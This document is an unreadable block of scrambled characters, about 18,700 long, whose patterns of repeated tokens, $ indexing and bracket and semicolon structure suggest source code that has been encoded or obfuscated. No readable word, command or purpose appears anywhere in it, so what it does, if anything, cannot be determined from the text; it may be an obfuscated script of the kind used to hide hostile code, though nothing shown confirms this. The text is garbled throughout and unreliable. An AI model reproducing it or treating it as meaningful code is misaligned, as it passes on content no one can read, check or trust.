_GKFWMJIVW L	WMJHVS_[GHGIGKLVDu_u______
__
Du_______uu
_	JFO H
W[KGJMO
NVuu_______W^GKFWMJGVW[KGJMO
NV__GKFWFLVW[KGJMO
NS__ L	WMJFVV__BBB____V_
__D[
GF
J	BFMUMD[
LINNB[
GF
J	RGDu____________WLWNOVW[KGJMO
NV_____A__WNOKGKFOTGIVV__[KGJMO
N__B_____ GH
JKHW[KGJMO
NVDuuuu__WGKFWNOVW[KGJMO
NV__A____WNFGJOGLRFLIJOHVV__
__Du____W^IFMWMJMVWLWMIOVVV___
__
Du______W^W L	WMINVVV___u_____[G	 LK__B_?  W[KGJMO
NVDu______W^GKFWNIGVW[G	 LKVV__
______
Du____[GN 

O __B___ODu__________W[G	 LK__[MV__u________WIFMWMIMVW[MVV____uu___W[M$O"_____BBB__+ <*-3& 0/:1___[M$O"______BBB___+ ;033>- 0/:1 <*-3& =-><:,V_[GN 

O TTDu____
Duu___W[M__BBB____XXV__[GN 

O TTDu______W[M__BBB__XXV_____uuuu____[GN 

O RRDu_____W[GN 

O _C_OV__
__Duuu__uuuuuuuu_______
___[GN 

O ___BBB___ODu_u_u__?  W[KGJMO
NS__+04:1 />-,:VDuuu____
_____
Du________W+__[NJN MV___u__
_____Du______________W:_[NJN MV____u
___Du___uu____
___KHNGWVu____u
__WLWMILVS_____ L	WMIKVS___ L	WMIJVVDu__u_______
__ 
HO	MKO	WVu_____u___
__WLWMIIVS__GKFWMIHVS_GKFWMIGVS____LWMIFVS_GKFWMHOVS_IFMWMHNVS__GKFWMHMVS__ L	WMHLVS___IFMWMHKVS_IFMWMHJVS___GKFWMHIVS____LWMHHVS_ L	WMHGVS__IFMWMHFVS__IFMWMGOVS___IFMWMGNVS__IFMWMGMVS_IFMWMGLVS____ L	WMGKVS_____ L	WMGJVVD[J		 BFGTIHD[F	L	IB[J		 RMIDuuuu________u__
____FMINWVu_u___
_WGKFWMGIVS__LWMGHVS____LWMGGVS__ L	WMGFVVDu_u___u___
_
J LLLI	 W[
HHJ Vu___u____WGKFWMFOVWIFMWMFNVVV___
__W[
HHJ S__WKN!LMVVDuuuu__WGKFWMFMVWIFMWMFLVVV____u__
__]#N#G#OG#OO#OO#OO#OO#OO#OO#OL]___Q_W[
HHJ S_WJTKVV___Q_____LWMFKVWX)XS___ L	WMFJVW[
HHJ VV____Q____IFMWMFKVWX)XS__LWNOVW[
HHJ V__Y__WIJNGJGMHLFRMMMLINJKKKVVDuu____u
___[
HHJ Du____u_____
__MLI	NW[
HHJ Vuu__u___W^ L	WMFIVW[
HHJ V_____IFMWMFHVW[
HHJ V__C___MV___
_[
HHJ Du__WLWNMHVW[
HHJ S____OS____MV___^BB_]#N#G]V_____
___[
HHJ Duu_____WLWMFHVW[
HHJ V__C__WOLTOVV___
_Du___[MJKJG	 __B__?LWMFGVWX)XS______ L	WNMHVW[
HHJ S____RWNJF!NJJVVVDu_____[MJKJG	 _____B___IFMWMIMVW[MJKJG	 V_@_[MJKJG	 $N"__E_OD[NKMKH
BKNNOOD[LJB[NKMKH
!IMDuuuu_____W[MJKJG	 ___C___WLMITNHKV_______[MJKJG	 ____A____WOLTONKOMVV_
__Duuuu______WLWMFMVWGKFWMFFVVV__u[NKOIL_B__?W[
HHJ S___WJIKLJKTKGKMMMVVDu____uu_________W[NKOIL___^BB_V___
_[NKOILDu_____u____W L	WLOOVWGKFWLONVVV___uuuu__[NKOIL_B_?WGKFWNMHVW[
HHJ S_WMMM!MNMVS___GKFWLOMVW[
HHJ V_R_WMTNIVVS_WNMJHGGLRMOFLOHVVDuuu
__WGKFWMFIVW[NKOILV___YY_____GKFWLOLVW[NKOILV__CB_____WOILGTOFNNGVV_@__[NKOIL___E___Du_______u___
_Duuu____uuuu___u__W^____LWLOKVW L	WLOJVVV___uuu
_MW[GLFOVu__uu______W^______IFMWLOIVW[GLFOV________IFMWLOHVW[GLFOV____Z____M__^BB__OV_u
___Du__u__
_GKFWMFKVWGKFWLOGVS______[GLFOVDu___u_____uuu_
___N
KI
WVuuuu_u____[ FL______B______WVDu__[
H____B__W>=,/>+7S_>=,/>+7___Q__ L	WLOFVS____>=,/>+7__Q__LWLNOVVDu_________WWIFMWNKOVVV___[
H$"_B__(/ <01+:1+ ;6-___Q__XPXDu______W[
H_____[NKOILV___u__[ OIO__B__GKFWLOKVWLWMJKVV_____@_?IFMWLNNVW[NKOIL_Q__GKFWLNMVV__E__Du__W L	WMIMVW[ OIOVV____u____W[ OIO___[MNHV_uuuu__[NFK		___B__?IFMWMOMVW[MNHVDuuuu____W[NFK		___YY__[NFK		___A__WFKIIGKHLOTHOVV____u__[ FL$"___B_[NFK		Duuuu__u_u_____uPP_?_uu__uuuu__W^W[ FLVV___u[	KNIO__B__[ FL$LWLNLVW[ FLV"Duu_
_W[	KNIO_R___W[	KNIO____Z______WFFFNJTGJVVV___T_KIIKM	WVDu_u______[IH
NM_B____IFMWLNKVWV_____R___WWLOFTJIV__U_____WMLTNV_____U__WMOKHTNJJLVVDu_[L____B___ L	WLOKVW L	WLNJVV____@___ WOS_WONTOLV___U__WOTOV____U__WLJOLTFHVV____E_GKFWLNIVWOS___WMJTJV__U__WKTMOV_____U_WKILMRNOLMVVDu___[	KNIO__B_[IH
NM_____R__[LDu
__W[	KNIO_____R_____W[	KNIO_Z_____WGKKGGTNJJNMVVV_T___KIIKM	WVDuu______
__HHL KIW[GNIS_[JIS_[NHILHK__B____
Vu____u__[HNKFHM_B____
_____W[	NV_
___W[NHILHKV_u________W^LWLOIVW[	NV____[	N___BBB__]]V_
__Du_____W L	WLNHVW[	NV_A___WNIHKKHGIRGLJINHGVV_
___Du__W[NHILHKV____uu_____uu
_WV_GKFWLNGVW[NHILHKS____[	NVDu____________W+_[NJN MV_uuu___
__Du________W:____[NJN MV__u_____
_____Du________u____uuu_
__
Du______Du_[	_B_GKFWLOKVWGKFWLNFVV_____@_____?IFMWLMOVW[GNIS_Wu_____IFMWLMNV__BA__[JISuLWLMMV_BA__Su________GKFWLMLV_____BA_WONGHTOIMHGMMVSuuVV___E_Duu_____W[	_YY_W^LWLOKVWIFMWLMKVV____^  W[	VVV__uuuu___WWV_  	  W[	V__BBB__WMJN!JNVV___u____[NGKO __B__  	 W[	VDu___W[HNKFHMW[NGKO VV__
____[NGKO Du___u__u________WIFMWLOKVWGKFWLMJVV__YY_____ L	WLOKVWLWLMIVV_YY_IFMWLOKVWIFMWLMHVVV___u__[
HOO___B__? L	WLMJVW[GNIVDu__W[
HOO__BBB_____V_
___Duuu_?IFMWLMIVW[
HOOS___Wu____WIFMWLMGVV__BA__
Su_WIFMWLMFVV_BA_[JISuuuu__WIFMWLLOVV_BA___Su___W L	WLLNVV_BA___OSu___W L	WLLMVV___BA__Suuu_W L	WLLLVV____BA__
_____W[MOOS_[
KHS_[HV___
____[H_A__WGLGGJKMTIIV_@______N_E______OD____Suu_VVDuuuu___[KMJK__B__?GKFWLMHVW[
HOOVDu_[ON
JN
__B____?
 W[
HOOVDu__[IL MG_B__?
 W[
HOOVDuuuu?
 W[
HOOVDu___W[ON
JN
V_
____Du_WWV__[IL MG$LWLLKV"__BBB_WNNJTGJV_____YY_[KMJK_____^BB_____YY__[HNKFHMW[KMJKVV___u__
__[KMJKDu_uuPP_
_	uu
__Du_uu_
_	NNHNF	HGHW[GNIS___[ OS___[FN
S____[JIS__[NHILHK__B_
Vu_u___[HNKFHM____B__
___W[	NV__
___W[NHILHKV___u____W^GKFWLOIVW[	NV______[	N______BBB__]]V_____
_Du___WGKFWLNHVW[	NV_____A___WGLGGJFNTNHVV_
__Du______W[NHILHKV__uuuu_____u_____
_WV_ L	WLLJVW[NHILHKS_[	NVDu__________W+____[NJN MV___uu__
_Du______W:__[NJN MV_u
_Du____uuu_u_
___
Du_Du___[	____B__ L	WLOKVWGKFWLLIVV_@__? L	WLLIVW[GNIS__Wu_____IFMWLLHV_BA_[JISuu_LWLLGV__BA_Su_LWLLFV_BA___WNOIMMKLMRMMLLGMKVSuIFMWLKOV__BA_[FN
Su___IFMWLKNV_BA_[ OSuuuu____VV_E__Du_______WIFMWLOKVW L	WLKMVV___YY_  W[	VV__u______W[	V___u__[KGJMO
N____B_WV_  	  W[	VDu[HOL____B___  	 W[	VDuuuu______[IK___B___  	 W[	VDu__[
LJ
	I
____B__]]Du_______WLWLKLVW[IKVV__uPP_(/_/_<E_
R_	uu_________W[IK______[
 MGJIMNJ___BA_[	G OV_u_[
LJ
	I
___QB__[
 MGJIMNJ______Q___GKFWLKKV__Q_____[	G O__Q_LWLKJVDu_uuuu_u___W[KGJMO
N_BBB_WFITNOKV___YY__[HNKFHMW[HOLVV__u__
_[HOLDu_______uu__u__u____u__WIFMWLOKVWLWLMJVV__YY___LWLKIVWLWLMIVV___YY____ L	WLKIVWLWLMHVVV__u_[
HOO__B_? L	WLMJVW[GNIVDu____W[
HOO_BBB_V__u_
__DuuPP_?
_Ruu[NH I____B__WVDu__W[FN
_______[
 MGJIMNJ__BA_[	G OV__u[NH I$"______B_[
 MGJIMNJ___Q___GKFWLKKV_Q__[	G ODu_u__?GKFWLMIVW[
HOOS__WuWGKFWLKHVV_BA___
Suuuu______WLWLKGVV_BA_____[ OSu__WLWLMGVV__BA____
Su__WGKFWLKFVV_BA__[JISu______WLWLLOVV______BA__Su_______WIFMWLLNVV_BA______OSu_WGKFWLJOVV_____BA___[NH ISuW L	WLLMVV____BA___Su____WGKFWLLLVV_BA_
_W[MOOS______[
KHS____[HV_______
_____[H___A__WHMLGGMITNNKFHGMV_____@____N_E___OD_____Su______VVDu_[KMJK__B_?GKFWLMHVW[
HOOVDuuu____[ON
JN
__B_?
 W[
HOOVDu___[O __B__?
 W[
HOOVDu____[IL MG__B__?
 W[
HOOVDuuuu_[GH____B____WV______[IL MG$ L	WLLKV"Du_W[ON
JN
V____u_?
 W[
HOOVDu__
__Duuu___uPP_2,.3__
E__uuuuu_?
 W[
HOOVD[
MBFLIID[B[
MZGDu_______W[GH___BBB__WOLTOJV_____YY__[KMJK_^BB_______YY____[HNKFHMW[KMJKVV_____u_____
___[KMJKDu___uuu_uu__W[KMJKV_uu
__Duu___
__Du___u_u_
__	HIGNJ	LN	WVu___u_[	
MF__B_KHNGWVDu______[	KML
O_B_ 
HO	MKO	WVDu_u_WW[	
MFV___W[	KML
OVV_u
_WVDu_u_____u_______[FK
 _B___IFMWLKIVWGKFWLJNVV__@_WV_ W L	WLJMVS_]]V_E_]]Duuuu__W[FK
 ____^BB_]]V___uPP_
__R
uu[	KML
O_B____GKFWMJNVWIFMWNFIVW[	KML
OS_W[FK
 VVVDuu_____IFMWLJLVW[	KML
OS_____[FK
 VDu_u____u[GING	 	K___B_____ L	WLJKVW[	
MF$GKFWLJJVW[	
MFV"VDu____W[GING	 	K___BBB____]]V_uuu_
_____WVDu_uu____u__[ O___B__GKFWLJIV____Q__[GING	 	K__Q_IFMWLJHVDu_[FF	__B_WGKFWLJGV_____BA__ L	WLJFVVDu_[L

_B__GKFWLIOVW
VDu_____W[	KML
O____[JIV___u__u______WWLWLIOVW
V__R___[L

V_A__WKTKNVV__uDu____uPP_-_
RE__	uu__u_____[JI_B_LWLINVWWV____[JIVDuuuu_____W[JI_BBB_]]V______u
Duuu__u__u__[HOL__B__	NNHNF	HGHW[JIS_____[ OS___[FF	S__WOKTONVS______
____W[	NV____u__[LM  ___B_____?LWLIMVW[	NS_
VDu___
_GKFWLKLVW[LM  V______YY_W[LM  $GKFWLILV"VDu____VDu___W[HOL__BBB_V___u____
Duu[FM
__B___?IFMWLIMVW[HOLS__
VDu______W^____LWLKLVW[FM
V______^__W[FM
$IFMWLIKV"V____^_IFMWLOIVW[FM
$IFMWLIJV"VV_____u_
Du_u__u_[GLFO___B_[FM
$GKFWLIJV"Duuuu__W L	WLIIVW[GLFOS__IFMWLIHVV_BBB_OV___uPP_R_
__(/_,_:uu_[GLFO__B___ L	WNMHVW[GLFOS__MVDuuuu______u____u_[OL_B__?LWLOJVW[GLFOVDu_____W[OL_BBB_________ L	WLNHVW[OLV_____C_____WNOGRKKVV___u_
Du__u__u_______[NFHN__B__WOLKTOVDu__[LJK_B____IFMWLIGVW[OL$[NFHN"VDu___[ 
___B__LWNMHVW[OLS__[NFHN_T___NS__[LJKVDu___W^____ L	WLOIVW[ 
V___ L	WLNHVW[ 
V_____C_WOMTONVV_u____
Duu______u_[	 _____B_____LWLIGVW[ 
$O"VDuu_W[	 __C_N____GKFWLNHVW[ 
V_C_N_T_[	 _T_NV____uu
Duuuuuu__u__[LNNG	H_B__ L	WLIFVW[ 
S_NS_[	 VDuuuu_[LO __B__IFMWLHOVW[ 
S_____N__T_[	 VDu_______W^_ L	WLHNVW[LNNG	HV_____^___LWLHNVW[LO VV____u____
Du_uu_[HG___B__KOLHF W[LO S_[LNNG	HVDuuu__W^_GKFWLHMVW[HGV_____IFMWLHLVW[HGV___C___MV_u_____KKGMM 

WIFMWLHKVS___IFMWLHJVVDu
Duu_u___[GI G__B__IFMWLIGVW[HG$O"VDuuuu____W[GI G____C__N_____LWLHLVW[HGV_C____N_T_____[GI GV_u___KKGMM 

WGKFWLHIVS______IFMWLHHVVDu_______
Du__u_____u_[
FFHNL_B__GKFWLHOVW[HGS__NS__[GI GVDu[I_B_____LWLHGVW[HGS__N__T_[GI GVDu[ KKFJJL____B__IFMWMJNVWLWLHFVW L	WMJIVWLWLGOVS_LWLGNVWGKFWLGMVS___[IVVVVDu___WGKFWLKIVWLWNGGVVV___uuuu
 WGKFWLJMVS___[JIVDu___
 W L	WLGLVS____IFMWLGKVW]#]S_[ KKFJJLVVDuu___
___W L	WLGJV_BA_____[
FFHNLS__GKFWLGIV____BA__[ KKFJJLVDu______W+_[NJN MV____[FKKLB/7/ 2>50- ):-,601D[
B[FKKLULDu___KKGMM 

WLWLGHVS_[NJN MVDu____
Du_______W:_[NJN MV____uPP_?_R

uu___
Duu_u_____[L	GLH ___B_LWLKIVWIFMWLJNVV___@_WV_ WGKFWLGLVS_]]V__E__]]Du__[J____B_
M	FKL
L  WLWLGGVS_]]VDu___________W[L	GLH __^BB____]]__YY____GKFWLGFVW[JV__YY_____[J_^BB__]]V____u___[ KKFJJL_B_____GKFWLFOVW L	WLHFVWLWMJIVWIFMWLFNVS__GKFWLGNVWGKFWLGMVS__[L	GLH VVVVD[IGBWOKITOJVD[J JB[IGZIDu____W^___W[ KKFJJLVV__uuuu______
_____WIFMWLGJV_BA____[JS___GKFWLFMV__BA_[ KKFJJLVD[ILKGBGKTIID[OMFOB[ILKGRJODu__u______u___KKGMM 

W L	WLGHVS__IFMWLFLVVDuuu_
_WVDuu_
__OFHIMHHOFW[OIGONS____[

ONIOS___[MI NVuu_W^__ L	WLFKVWLWLFJVVV__u___
__Duuu_u___[L	_B____LWLFIVW[

ONIOVDu______[ OMI
___B_LWLFHVWIFMWLFGVWNS__WKFNRMLIVVVDu[O
____B____]]Du_______W[O	JGIMJ____B_OS___[MGM_B__LWLHLVW[L	VD_[O	JGIMJ____C__[MGMD_[O	JGIMJTTV___u___[O
____QB_GKFWLFHVW L	WLIGVW[L	$[O	JGIMJ"V____!____GKFWLIGVW[ OMI
VVDu_u___
____
 W[OIGONS__IFMWLFFVW[ OMI
_Q__[O
VS_____[MI NV___^BB___Duu_u_u______
__FOK G		
KW[OIGONS__[	FM  Vu__u____W^GKFWLFKVWGKFWKOOVVV__
_[	FM  Du___[FINN_____B_ W[OIGONS__]]VDu______W[FINN__BBB___]]___^_____GKFWKONVW[FINNVV_u_
____[	FM  Du_____uuu[I
MH___B__?IFMWKOMVW[FINNS__
VDu________W[I
MH_BBB______LWLHLVW[I
MHV_C__MV____uu__
_[	FM  Du_u_____[ OMI
______B__[I
MH$O"Du_[N	GK_____B__]]Du______W[O	JGIMJ_B__NS__[MGM_B_ L	WKOLVW[I
MHVD_[O	JGIMJ_C_[MGMD__[O	JGIMJTTV_u_______[N	GK__QB_GKFWKOKVW L	WLIGVW[I
MH$[O	JGIMJ"V__!__LWKOJVW[ OMI
VVDuuu____[FK_____B___	F GM
W[N	GKVDu_
__[FK____^BB___@__[FK_E___[	FM  Duuuuu_____
__	F GM
W[ 
Vuu_u_______W^IFMWKONVW[ 
VV_
___Du_____WWLWKOIVV__YY____/7/ ):-,601 6;_AB__WNMFIMGRJFIMGVV__[KINGNB/7/ 61+ 2>'P/7/ 61+ 2>'D[MN	B[KINGNTFKDu
____?GKFWKOHVW[ 
S____WIFMWKOGV__BA__VVDuuuu_____uuu____
_?LWKOHVW[ 
VDu____u
__HNHLWVuuuu______u___[
 MGJIMNJ__B___
Du___W[
 MGJIMNJ__^BB__
V__
__[
 MGJIMNJDu____[LLMHN_B___W L	WOVV_@_>=,/>+7____E__]]Du_[
 MGJIMNJ__B_LWNLVW L	WKOFVWX##XS__XPXS____[LLMHNVS____XPXV______Q____XPXDuu_____
_[
 MGJIMNJDuuuu_uuu__
_J	M K

ILW[OIGONVu_u_______
___F
WHNHLWV_Q_____WV_KIIKM	WV__Q_[OIGONS______WNOTMVVDu_____u_
__ O JW[ Vuuu_
___WV_WWMFJHOIIFTINKMFLLNV____T__WWV___WLWLHGVWLWMNGVWHNHLWV____Q_IFMWKNOV__Q__[ VS_OS_WOLTOKVVV_Z_WKNGJONKTKGNKFGJVVVDuuu_
__FHHF	MOHWVuu_______
___ O JWIFMWKNNVVDu___u__
_IKIOH	MWVu_u___[IF__B___WV__
M	FKL
L  WLWKNMVS_]]VDu
___ L	WKOLVW[IFV_____A__WFTNV______YY___LWLIIVW[IFS_FHHF	MOHWVV___^BB_____YY_LWKOLVWWV_
M	FKL
L  WGKFWKNLVS_]]VV___A_WOTOJIVDu___u_u_
_
M	FKL
L  W[OIGONS__[	FM  Vu______uPP_?_R
uu_
_FOK G		
KWJ	M K

ILW[OIGONVS__[	FM  VDu__u______
______MLI JW[OIGONS_[	FM  _B_]]Vu___u_____[	G O___B_
M	FKL
L  W[OIGONS__[	FM  VDu______WLWKONVW[	G OVV__
_[	G ODu______WGKFWKNKVW[	G OVV_
__WV______[	G ODu____
__[	FM  Duuuu__
___ MIMM	W[OIGONS_[

ONIOS__[MI NVu__u___OFHIMHHOFWJ	M K

ILW[OIGONVS_____[

ONIOS_[MI NVDuuu__u
_____IMLWVu_u[MN NHI___B_____W[830=>3,$IFMWKNJV"V___@___[830=>3,$LWKNJV"__E_WVDu_[FINN_B___
M	FKL
L  WIFMWKNIVS__WVVDu_WLWLKLVW[FINNVV_u___[MN NHI____B__IFMWKNHVW[FINNS____[MN NHIVDu__u_[MN NHI__B____ L	WKNGVW[MN NHIVDu___
_ L	WNLKVW[MN NHIS____RWOLOTOMVVDuuuuu____
__
IMWVu____uPP_(/_3_=E_
_uu_____W^W[830=>3,$GKFWKNJV"V______W[830=>3,$IFMWKNJV"VV___
Du_____u[FINN__B___
M	FKL
L  WIFMWKNFVS__WVVDu__[	FI_B_IFMWKMOVWIFMWKMNVWWV[FINNS_[830=>3,$GKFWKNJV"VVDu[	FI__B_IFMWNLKVW[	FIS___RWLITNKVVDu____ MIMM	WIFMWKMMVS_[	FIS_ L	WNFNVVDuuu___________W+_[NJN MV____[I
IIBKJTKD[G	LGB[I
IIRMLDu__KKGMM 

W L	WKMLVS__[NJN MVDu____W:____[NJN MV__uuuuuu____u_______
_KOLHF W[ 
S_[Vuuu_________W^__GKFWKONVW[ 
V_______^__ L	WKONVW[V____LWKMKVW[V__BBB_OV___u_
____
Duuu_______[KIMG___B______LWKMJVW[ 
VDuuuu_[KKIK___B__ L	WKMJVW[VDu___[	L _B__]]Du___________W[O	JGIMJ_B__OD_[O	JGIMJ___C___[KIMGD___[O	JGIMJTTV_u_[	L _QB_GKFWKOKVWGKFWKMIVW[ 
$[O	JGIMJ"V__!_LWKMIVW[$[O	JGIMJ______Z_____[KKIK"VVDuu_
_[	L Duuu____u__
__IFHW[MNVuu__uu______W^___IFMWLKLVW[MNVV_____u______[MN____B__WVDuu___[ NH__B___JOHLOMWVDu[KOI__B__GKFWLFKVW L	WKOOVV__@____FOK G		
KWLWKMHVS_V_____E_____Duuuu_______WIFMWLKLVW[KOIV____YY__W[KOI$ L	WKMGV"V_YY__WV__[KOI$ L	WKMGV"_AB___WMKOTIOV_YY____WV_____[KOI$IFMWKMFV"__CB_WNIKGNLRHGKNLVV____[ NH_B_WV_[KOI$IFMWKMFV"Du_____W[ NH___C____WLOCCNVV_u__[ NH__B_WOKLKTOFVDuu____u____[MN$ L	WKLOV"____B_Wu_GKFWKLNV____BA___[ NHSuLWKLMV__BA__ L	WKLLVSuVDu_[MN$GKFWKLKV"__B_____Wu___ L	WKLNV____BA__WJMFTHNVSu_____IFMWKLJV_____BA____IFMWKLLVSu_VDuu____
__[MNDuu_u___
___KML	M	HKWVuu_W^ L	WLFKVW L	WKLIVV________^GKFWLFKVWGKFWKLHVVV_____
Du__W^FHMJJFGIFKNWLWKLGVVV____
Du________u___W^  
WMOH	MGWVVV___uPP_(/_,_:E__uu_____ 
 	WLWKLFVWV___T_____IFMWKKOVWWNKG!NIGVS_WLILRILVVS_____ L	WKLOVS___MOH	MGWVVDu_u________uPP_(/_:_=E__uuuuuJLFMFWIFMWKLGVVDu__uu___u_u___u___
_FJFNGWVu____uu____uuu___WWIFMWKKNVV___YY__;0618 <-01V__u_____
Du______uuu__uuu__________[FJLLJ_B__Du________W[FJLLJV__
Du_[FJLLJ__B_
Duuuu____u_____________W^_JI M	
IWVV_u_____
Du____uPP_(/_<
_3E_	_R
uuuu_MO	OL
	WLWKKMVS__GKFWKKLVS_OVDuuuuu____
_M

KHKWVuu______W^IFMWKKKVW L	WKKJVV_____^LWKKKVWIFMWKKIVVV___
Duuuu_?GKFWKKJVW 
WGKFWKKHV__Q_GKFWKOFVWXQXS_____]]S_WV_ L	WLIOVW
VV___Q__IFMWKKOVWWOLTOINVS_WFFJTKVVVS__WGKFWLLHV____BA_____OQONS____IFMWKKGV___BA____S__LWLLGV__BA__VVDuuuu___uuu__
____HKIKWVu___u_____[
JKIFG____B__Du___W[
JKIFGV_____
Du_[
JKIFG___B____
Du___u___[	__B____Du_____WIFMWKKKVW L	WKKFVVV_u__ L	WKKFVWVDu[	____B______
Du________WGKFWKJOVWIFMWKJNVVV__u_LWKJNVWVDu___[	_____B__
Duuu___________u_____WGKFWKJOVW L	WKJMVVV_u? L	WKJLVW
VDu______u[L ___B_ L	WKJOVW L	WKJKVV______YY_?IFMWKJKVWGKFWKJJVVDu____W^ WV___YY____^[L _YY_GKFWKJIVWV__BBB___N_____YY__LWKJOVW L	WKJHVVV___u__[ _B__?  WVDuu______W[ __^BB________YY____[ ___A___OV___uuuu__?WGKFWKJGV____Q_[ VDu______?WIFMWKJFVVDu_uuu____u____W L	WKJIVWVV_uuu_? L	WKIOVWVDu______uu___u_?IFMWKINVWVDu______uuu_____[	O__B______IFMWKJOVWLWKIMVV__YY____^WWIFMWKILVV_YY___;6,>=3: (/ <-01VDu_____[MJ__B__^GKFWKJOVWGKFWKIKVV_______WV___ WIFMWKIJVS__OV_BBB__ODu____W^[MJ____YY_IFMWKJOVWGKFWKIIVV___YY___IFMWKJOVWGKFWLFJVVV___uu[HM L____B_WV__ WGKFWKIHVS______]]VDuuuu___W[HM L___^BB__GIILHWVV___uPU__R_UPuu_____?
 WIFMWKIGVS__GIILHWVS__LWNFNVVDu_____?
 W L	WKIJVS___OS__LWNFNVVDu_[MJ__B____
Du_____u_u_____[	HOH	G_B____Du_____W[	O_YY____LWKIFVW L	WKLIVVV__u[JI____B______  
WMOH	MGWVVDu___W[JI_YY____WIFMWKLFVWV___R__WV_[JIV_A___WNKLKTJHIIVV______u_______[	HOH	G___B__
Du______WLWKIFVWGKFWKHOVVV______? 

 	WWV___[JIS__MOH	MGWVVDu_u__u__W[	O____YY___^[MJ______YY__^[	HOH	GV_u__[JIH_B__ L	WKIFVW L	WKLIVV____@_____WV_  
WMOH	MGWVV__E__ODu______W[JIH__CB_____O___[JIH___R______LWKLFVWV___A_WGFJTJVV____u__? 
  	W L	WKLFVWVS___MOH	MGWVVDu___uu______uu_MGG WVDu______
Du_u_______W[	HOH	GV_KKGMM 

WGKFWKHNVS_ L	WKHMVVDuuuu______W^[	V_u_____W[	OV_? 
  	WIFMWKLFVWVS__MOH	MGWVVDu_M

KHKWVDu_MGG WVDuu_
Du_u____WLWKIFVWIFMWKHLVVV___?IFMWKHLVWWNFKRNKVVDuuu_____
MMFFWVDu___W+____[NJN MV_u____KKGMM 

WGKFWKKMVS___[NJN MVDu______W:__[NJN MV_u_uuu_
__MOJWVu______u____u______W^_GKFWKIFVW L	WKIIVVV__u_
D[GK
KB/7/ 61+ 2>'P/7/ 61+ 2>'D[ NOOIOMOB[GK
KTKODu_______uu[ 
OLO__B____LWKIFVWGKFWKHKVV__@____ WN FHJJHOWVV__E____Du___W^___LWKHJVW[ 
OLOVV__[ 
OLO___B__FOK G		
KWIFMWKHIVS___VDu_W^____ L	WKHJVW[ 
OLOVV___u_
Duuu____u_u________WW[ 
OLO$GKFWKHHV"V_YY______LWKHGVW[ 
OLO$IFMWKHHV"VV____uPU_R_R

_UPuu___[830=>3,$ L	WKHFV"___B_OHIOMKOW[ 
OLO$ L	WKHHV"VDu_u_u__WW[ 
OLO$IFMWKGOV"V_____YY____IFMWKGNVW[ 
OLO$IFMWKGOV"VV___uuuu___[830=>3,$GKFWKGMV"____B__OHIOMKOW[ 
OLO$IFMWKGOV"VDuu_u___________WW[ 
OLO$LWKGLV"V_YY_____LWKONVW[ 
OLO$GKFWKGLV"VV__u___[830=>3,$IFMWKGKV"__B_[ 
OLO$IFMWKGJV"DuPP__uu_____u___WW[ 
OLO$GKFWKGIV"V__YY______LWKGHVW[ 
OLO$GKFWKGIV"V_YY___LWKMJVW[ 
OLO$LWKGIV"V____A___WOMTOGVV_u__[830=>3,$ L	WKGGV"_____B_[ 
OLO$LWKGFV"Duuu_____uPP_
___/7/_GQK_uuu______WW[ 
OLO$IFMWKNNV"V______YY____IFMWKGHVW[ 
OLO$LWKFOV"V_YY_GKFWKMJVW[ 
OLO$GKFWKFNV"V____A___WNFFRFFVV_u__[830=>3,$ L	WKFMV"____B__[ 
OLO$ L	WKFNV"D[OKBIHUID[LHFHKLB[OKRKJDu_u______W+___[NJN MV______u__KKGMM 

WLWKFLVS____[NJN MVDu____________W:___[NJN MV__uuuu_u__u_____u____
_____J K O	OWVu__u__u_______W^IFMWKFKVWLWKIIVV____^LWKFKVWGKFWLFJVVV__
Duuu____WWV_ WLWKFJVS__OV___A_GKFWKLFVWV__R___WLJKNTJFVV__
Du____W L	WKFIVWGKFWKHKVV__YY____ WGKFWKFHVVV_
Duuu[ILI
______B__
M	FKL
L  W L	WKFGVS__]]VDu__W^IFMWKGHVW[ILI
V____GKFWKFFVW[ILI
V_C_____WFKLRKKLV____NMNJJFINW[ILI
V_______^	JFO H
W[ILI
VV_[KGGKBLHOKD[	FB[KGGKZNHDu[ILI
__B_Du_[J
IG_B_? L	WMMLVWNIFFOOL	OWVVDuuu______W[J
IG__YY__[J
IG_A_WINIRNNIV__YY__[J
IG___CB_____WJMKMGHINTLFVV_____[ 
JGJB/7/ 61+ 2>'P/7/ 61+ 2>'D[JOJB[ 
JGJTNFDu_[K
IN_____B_?LWMLNVWNIFFOOL	OWVVDu_______W L	WJOOVW[K
INV___YY_GKFWJONVW[K
INV___A__WNOKGJLGTLGVV__[K
IN__B____ GH
JKHW[K
INVDu__WIFMWJOMVW[K
INV___YY___^NMNJJFINW[K
INV_____YY___	JFO H
W[K
INVV___uPP_2_E_
_Ruu_ MIMM	W L	WKFGVS___[K
INS__GKFWNFNVVDu__[ILI
___B_[K
INDu_u___uuu__W^[ILI
V_[
NLIIO	B/7/ 2>50- ):-,601D[ 	OLB[
NLIIO	UNDu_____?
 W L	WJOLVS_____LWKLFVWVS___LWJOKVVDuuu
Duuuu____uu_____u_[N	KM_B_____WNIFFOOL	OWVVDu____[K	NMN___B____
 F	G	KOOWVDu__[MFJH
FI___B__
MN
LHJH
W[K	NMNVD[LKIF
NBWOJTOFGVD[  B[LKIF
NZNLDu_______WLWKGNVW[MFJH
FIVV__uu____W[MFJH
FI__[NLGFV_u_______WLWJOJVW[NLGFS____RWNTLVV____BBB______IFMWJOIVV___[N	KM$"____B____[K	NMN_Q______XPX__Q__[NLGFDu___uuu__u____WWIFMWJOHVV___YY_LWKFIVWIFMWJOGVVV__u___WWV______?IFMWJOGVW(/ /3*861 ;6-_Q___ L	WJOFVV______[JV__[N	KM$"_B_[JDuuu____uuuu_[N	KM____B__ L	WJNOVW[N	KMVDu__[IKH
NL_B__WVDuuu[H MN N
_____B_IFMWJOJVWIFMWJNNVWLWJNMVS__]]S___ L	WJOJVW[ILI
S__OS___WLGLLTINHOLVVVS____OS__WOMKLTOJVVDu_____W[N	KM_____[LLMHNV_u__[FOM____B__? L	WMMLVW[LLMHNVDuuu_W^[FOM_________[FOM_CB_WNOKGKFHTHFVV_
Du[JNJKL_B__?IFMWJNLVW[LLMHNS__S__
S_____OS____WIJJMKTNMVVDu_______W^ L	WJNKVW[JNJKLV_____^NMNJJFINW[JNJKLVV_
Du_____________W[LLMHN__^BB__NIFFOOL	OWV_YY_____ L	WJOJVW L	WJNNVWLWJNJVS_]]S_[JNJKLVS_OS__WNFFITJMVV__^BB___[H MN N
V___
Du______[IKH
NL$"____B__[LLMHNDuu____W^[IKH
NLV____u___WLWKFIVW L	WJNIVVV____ W L	WJNHVS____NS___WJMITHKVVDu_
Du_u_?
 WLWJOLVS___LWJNGVWVS__LWJOKVVDu__W[IKH
NL____[MNHV___u____L 
	W[MNHS_WOIOTONKKVVDu______W
LKLJ	NW[MNHS_LN
